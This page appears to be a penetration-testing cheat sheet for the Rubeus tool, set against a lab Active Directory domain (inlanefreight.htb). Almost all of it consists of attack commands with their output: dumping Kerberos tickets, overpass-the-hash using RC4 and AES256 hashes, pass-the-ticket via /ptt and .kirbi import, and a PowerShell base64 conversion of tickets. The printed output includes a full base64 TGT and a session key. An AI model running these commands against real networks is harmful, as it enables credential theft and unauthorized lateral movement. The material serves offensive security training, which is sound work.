Rubeus

Last updated 1 year ago

Rubeus

Powershell

Invoke-Rubeus

Executable

Export Tickets

c:\tools> Rubeus.exe dump /nowrap

Pass the Key or OverPass the Hash

c:\tools> Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 11:28:26 AM
  EndTime               :  7/12/2022 9:28:26 PM
  RenewTill             :  7/19/2022 11:28:26 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  0TOKzUHdgBQKMk8+xmOV2w==

All in one

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

Import .kirbi

c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

Base64

We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64.

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzY .. SNIP ..

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
 ______        _

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